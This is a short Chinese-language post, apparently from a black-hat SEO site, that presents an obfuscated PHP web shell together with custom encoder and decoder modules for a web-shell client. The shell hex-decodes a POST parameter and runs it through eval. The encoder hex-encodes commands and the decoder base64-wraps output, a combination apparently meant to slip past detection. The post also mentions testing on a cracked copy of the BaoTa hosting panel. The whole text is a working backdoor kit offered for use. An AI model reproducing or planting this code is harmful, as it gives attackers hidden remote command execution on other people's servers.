环境:php 7.2+nginx+bt
因为宝塔需要收费,所以使用的是破解版测试的7.6.0
木马文件:
<?php
class _
{
static public $phpcms=Null;
function __construct($l="error"){
self::$phpcms=$l;
@eval/*Defining error level offences*/(null.null.self::$phpcms);
}
}
function hexToStr($hex){
$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return $str;
}
$error = null.hexToStr(@$_POST/*\*/["1"]);
$d = new _($error);
?>编码器:
/**
* php::base64编码器
* Create at: 2021/09/19 16:57:59
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
data[pwd] = Buffer.from(data['_']).toString('hex');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}解码器:
/**
* php::base64解码器
* Create at: 2021/09/20 16:05:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
网站快照劫持代码-快照删除-黑帽SEO
评论前必须登录!
注册